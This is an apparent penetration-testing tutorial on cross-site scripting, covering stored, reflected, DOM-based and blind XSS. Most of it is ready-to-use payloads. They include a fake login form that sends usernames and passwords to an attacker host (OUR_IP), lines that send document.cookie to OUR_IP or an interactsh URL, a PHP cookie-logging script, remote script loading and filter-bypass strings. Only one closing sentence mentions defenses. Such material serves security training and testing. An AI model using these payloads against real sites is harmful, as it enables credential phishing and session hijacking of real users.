Stored (or Persistent) XSS occurs when an injected payload is saved on the server (e.g., in a database) and later displayed to users. Since the malicious script is stored, every user who visits the affected page runs the payload, making this one of the most dangerous XSS vulnerabilities.
Example Payloads:
<script>alert(window.origin)</script>
<plaintext>
<script>print()</script>
'“><xss onpointerrawupdate=console.log('XSS')>test</xss>
In these examples, if the payload is stored in the database and later rendered on a page without proper sanitization, every visitor will execute the injected JavaScript.
Reflected XSS happens when the injected input is immediately returned by the server in the response. Unlike Stored XSS, this is non-persistent and requires the victim to click on a specially crafted URL or submit a malicious request.
Example Payloads:
'><b>B</b><script>alert(1)</script>'
<script>document.body.style.background = "#141d2b"</script>
Attackers typically send these payloads via URLs (for GET requests) or form submissions, and when the server reflects the input back without proper sanitization, the payload executes in the victim’s browser.
DOM-based XSS is a client-side vulnerability. Here, the attack payload is processed entirely within the browser by the Document Object Model (DOM). No new HTTP requests are made to the server; instead, JavaScript on the page reads data (such as URL fragments) and writes it back to the page unsanitized.
How It Works:
innerHTML
, document.write()
, or jQuery’s append()
) that outputs the data to the page.Example Scenario:
In a To-Do application, the script might extract the task from the URL:
var pos = document.URL.indexOf("task=");
var task = document.URL.substring(pos + 5, document.URL.length);
And then output it unsanitized:
document.getElementById("todo").innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);
An attacker can inject a payload like:
<img src="" onerror=alert(window.origin)>
This payload executes when the image fails to load, demonstrating a DOM-based XSS attack.
XSS can be leveraged for phishing by injecting a fake login form or similar interface that collects sensitive credentials. The attacker’s injected code replaces legitimate content with a counterfeit form that sends data to the attacker’s server.
Example Payload:
<script>
document.write('<h3>Please login to continue</h3><form action="http://OUR_IP"><input type="text" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" value="Login"></form>');
</script>
When this payload is injected into a vulnerable page, users will see the fake form and, upon submitting, unknowingly send their login details to the attacker.
By executing JavaScript in the victim’s browser, attackers can steal cookies and hijack authenticated sessions. This type of attack, often called cookie stealing, allows an attacker to impersonate the victim.
Common JavaScript Payloads:
document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
A typical setup involves:
script.js
file on the attacker’s server containing the payload.<script src="http://OUR_IP/script.js"></script>
index.php
) on the attacker’s server logs incoming cookies:
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
Blind XSS occurs when the payload is injected into parts of the application that are not immediately visible to the attacker. This is common in forms or headers accessible only to privileged users (like admins). Attackers may use external servers (or Collaborator services) to catch the execution of their payload.
Examples of Vulnerable Inputs:
A basic payload might load a remote script:
<script src="http://OUR_IP/script.js"></script>
Changing the script’s URL to identify which field executed the script can help pinpoint the vulnerable input (e.g., http://OUR_IP/username
).
A powerful technique for executing complex XSS payloads is to load an external JavaScript file hosted on the attacker’s server. This simplifies payload management and allows for real-time updates to the exploit code.
Example:
<script src="http://OUR_IP/script.js"></script>
By hosting the payload externally, attackers can bypass size limitations and make changes on the fly. Adjust the URL path to match the injection point if needed (e.g., /email
, /phonenumber
).
Attackers often use a variety of payloads to test for and exploit XSS vulnerabilities. Some sample payloads include:
<b>test</b><img src=x onerror=console.log(document.domain);>
%27-confirm(%271%27)-%27
ghovjnjv'"()%26%25<zzz><ScRiPt>alert(233)</ScRiPt>
1<zzz><ScRiPt>alert(1)</ScRiPt>
%3Cimg%20src%20onerror=alert(domain)%3E
%22%3EEnter_Mouse_Pointer_Here_to_get_XSS%3C%5K/onpointerenter=alert(location)%3E%3!–
'"><script>fetch('https://<your-interactsh-url>?c=' + document.cookie);</script>
These payloads illustrate the diversity of techniques available to attackers for bypassing filters and exploiting XSS vulnerabilities.
This page covers the critical aspects of XSS vulnerabilities—from persistent, reflected, and DOM-based attacks to phishing and session hijacking—while also providing practical payload examples and bypass techniques. Proper input sanitization, context-aware output encoding, and rigorous security testing are essential to protect against these threats.